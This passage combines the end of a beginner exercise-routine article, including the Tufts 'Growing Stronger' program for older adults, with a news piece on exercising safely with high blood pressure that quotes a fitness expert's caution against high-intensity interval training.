  • 10 pull-ups
  • 21 push-ups
  • 21 squats

You can increase the number of repetitions for each exercise as you get stronger, if you’d like.

6. Growing Stronger

The Growing Stronger Routine was developed specifically as a strength training routine for older adults at Tufts University and is recommended by the Centre for Disease Control.The exercises are done by lifting a load (body weight or a dumbell) and holding it for a count of two to four and then lowering it for another count of two to four. You then repeat the motion, smoothly and slowly for 10 repetitions.The program is divided into three parts as follows:Part I: Weeks 1 — 2

  1. Squats (onto chair): 2 sets of 10 repetitions
  2. Wall Push-ups: 2 sets of 10 repetitions
  3. Toe Stands: 2 sets of 10 repetitions
  4. Finger Walking: hold the position for 10 seconds, 3 sets

Part II: Weeks 3 — 6 (add to part I routine)

  1. Biceps Curl: 2 sets of 10 repetitions
  2. Step-Up on Stairs (1 or 2 steps at a time): 2 sets of 10 repetitions
  3. Overhead Dumbell Press: 2 sets of 10 repetitions
  4. Side Leg Raises; 2 sets of 10 repetitions

Part III: Weeks 7 + (add to part II routine)

  1. Knee Extensions: 2 sets of 10 repetitions
  2. Leg Curl: 2 sets of 10 repetitions
  3. Lying Pelvic Tilt: 2 sets of 10 repetitions
  4. Floor Back Extensions: 2 sets of 10 repetitions

7. Just Do Something!

No matter how you decide to exercise, anything is better than nothing.Choose activities, sports or exercises you enjoy doing, it will give you a better chance of sticking to it over the long term.That said, if you’re looking to lose weight, studies suggest you do 30 minutes a day, along with a healthy diet.((Harvard: Physical activity guidelines: How much exercise do you need?)) That could mean walking at a brisk pace, tennis, biking or the gym. Some studies even suggest that walking 15-20 minutes a day reduces your chance of getting a heart attack or stroke.For strength training, The Physical Activity Guidelines recommend that you do resistance exercise at least 2 days a week.((Health.gov: The Physical Activity Guidelines)) You can do weights, body weight exercises, or physical activity like heavy gardening (digging, hoeing), calisthenics, mountain biking, skiing, etc…

Botton Line

The bottom line is to choose an activity or routine you like to do and do it at least a couple of times every week. Throw in 15-20 minutes of walking every day and you’re golden!As a beginner, you’ll want to pace yourself and choose a routine that’s not too complex or overwhelming.The exercise routines above are some of the most popular and time tested routines available for beginners, guaranteed to get results and get you in tip top shape. Have fun!

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High blood pressure affects about 25 per cent of all UK adults, according to the NHS.

The condition, which is also known as hypertension, puts extra stress on your blood vessels and vital organs.

This increases your risk of deadly complications, including heart attacks, strokes, and coronary heart disease.

You can prevent high blood pressure by regularly exercising.

But, you should avoid high-intensity training, as it could do more harm than good, warned a diet and fitness expert.

Regular exercise can gradually improve your blood pressure, said Faya Nilsson, diet and fitness expert for @FitnessOnToast.

It strengthens your heart, and it becomes more efficient at pumping blood around the body.

High Intensity Interval Training (HIIT) could put too much strain on your heart, and could do more harm than good, Nilsson warned.

“If you do have high blood pressure, your exercise regime needs to be tailored to your needs – so there are certain exercises that should be avoided,” said Nilsson, who is part of Braun’s Europe Healthy Heart Panel.

“For example, I would not recommend HIIT, which raises the heart rate too quickly, as this can place a lot of strain on your heart.

“Instead, it is recommended to gradually increase training, rather than working out in an explosive and intermittent way.

“For those who have never followed an exercise routine before, even power walking will provide lots of benefits.

“Power walking to work or even just making sure you move at least once an hour can make a real difference.

”While positive changes to your health and wellness are crucial, your heart should be prioritised over everything else, said Nilsson.

If you’re struggling for motivation, you could try finding a gym buddy.

You may let yourself down, but you’ll never let a friend down, added Nilsson.

Every adult should aim for at least 150 minutes of moderate-intensity activity every week, said the NHS.

Keeping active will also help you to lose weight, which in turn, also lowers your blood pressure.

Being overweight forces your heart to work harder to pump blood around the body.

See a GP or pharmacist to check your blood pressure.

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HIGH blood pressure symptoms include chest pain, severe headaches, and difficulty breathing. You can lower your hypertension risk by doing exercise. But, you should avoid sticking to this weight loss plan.

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